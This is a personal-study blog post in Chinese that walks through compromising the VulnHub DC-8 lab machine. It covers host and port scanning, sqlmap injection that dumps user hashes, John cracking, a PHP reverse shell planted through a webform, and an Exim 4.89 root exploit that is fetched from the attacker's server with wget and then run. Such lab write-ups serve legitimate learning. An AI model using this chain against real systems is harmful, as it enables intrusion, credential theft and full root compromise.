DC-8靶机渗透测试过程(个人学习)

DC-8靶机下载地址

        DC: 8 ~ VulnHub

环境:

        攻击机kali的IP地址:192.168.37.131

        靶机DC-7的IP地址:未知

一、信息收集

1、主机扫描

        方法一:

                arp-scan -l

        方法二:

                nmap -sP 192.168.37.0/24

2、端口扫描

        使用nmap扫描靶机端口,可以发现依旧只开放了 22 和 80 端口

        nmap -p- -A 192.168.37.148

3、信息探测

         既然80端口开放,访问一下80端口的网页

        可以发现CMS和DC-7靶场相同,但是并没有发现登录界面,则需要我们进行目录扫描看看是否能扫到后台登录网页

        dirsearch -u http://192.168.37.148      

        最后我通过 robots.txt 这个网页文件中,发现存在一个 /usr/login/ 路径,试着访问可以发现是一个登录网页

二、渗透测试

1、sql注入

        在登录网页中尝试爆破和弱口令都不行,因为DC-7的用户名和密码在Github上可以找到也试着上Github上搜素也没有结果

        在一开始访问页面,可以发现在 url 中可能会存在sql注入,有参数可以传值来得到不同的网页

        试着在后面输入一个单引号" ' ",出现sql报错

         我们可以测试一下这是不是一个注入点

        sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch  

        发现存在sql注入,那后面就是爆库爆表爆字段爆内容一步一步的了      

         爆库

         sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch --dbs 

        爆表

        sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' --tables     

        爆字段

        sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' -T 'users' --columns  

        爆内容

        爆破完字段可以发现存在的许多字段名,那我们当然是查询可疑的字段,例如 name、login、pass

        sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' -T 'users' -C name,pass,login -dump

        最终可以得到admin 和 john 账户的密码

2、john爆破

        提取到了 admin 账户和 john 账户的密码,但是他们都被加密了,我们可以把密码复制到一个文件中

        使用 john 工具进行破解

        这里我爆了半天没有结果,似乎是因为 admin 爆破不出来以至于跑了很久我就给他停掉了,如何使用参数 --show 查看,可以发现 john 账户的密码被爆破出来了

3、反弹shell

        试着使用 john 账户进行 ssh 连接,但是失败了,没有公钥

        再来到登录页面尝试使用该用户登录

        成功登录网页后,在网页中查找可以利用的点,在如下图所示的地方,有一个提交表单

        我们随便输入点内容提交过后会得到一个内容, 这里先注意一下

        点击上方 Edit、Webform、Results 都会进入一个设置

        在 WEBFROM 中,可以在 From Setting 中发现前面我们输入内容提交表单后回显的内容,这里就说明前面的表单会触发这里的内容,我们就可以更改这一句话

        在Text format 中可以发现能使用 PHP 解析文本的内容,联想 DC-7 的内容是不是也可以写一个反弹 shell 的命令然后通过前面的表单来触发这个php代码

        更改Text format 为 PHP code ,更改内容写一个反弹shell

        在kali开启侦听

        回到表单中随意输入内容进行提交,可以发现成功执行php文本内容

  

        回到kali中也可以发现已经拿到了www-data的shell 了

4、提取权限

        利用 python 反弹一个交互式的界面

        python -c "import pty;pty.spawn('/bin/bash')"

        查看suid权限

        find / -type -f -perm /4000 2>/dev/null

        尝试利用exim来提取权限,先查看exim的版本

        exim版本号为 4.89,去漏洞库中搜索一下该版本是否存在哪些可利用的漏洞

        可以发现有一个 46996.sh 的脚本文件可以进行利用,将脚本复制到当前文件夹中

        cp /usr/share/exploitdb/exploits/linux/local/46996.sh exim.sh  

        再利用 python 开启 http 服务

        python -m http.server 626

        回到靶机的shell中,首先切换到tmp目录下,再使用wget命令将这个文件下载下来

        wget http://192.168.37.131:626/exim.sh

        当前该该文件的权限只有读取和写入权限,但不能被执行

        使用 chomd 修改该文件的权限

        根据脚本内容的提示输入命令,即可运行执行脚本内容

        ./exim.sh -m netcat

        输入id可以发现已经是root权限了说明已经提权成功,但是每次root权限只有一会的时间可以使用,所以快些进入 root 目录提取最总的 flag 

posted @ 2024-10-28 11:34  M1ke  阅读(133)  评论(0)    收藏  举报  来源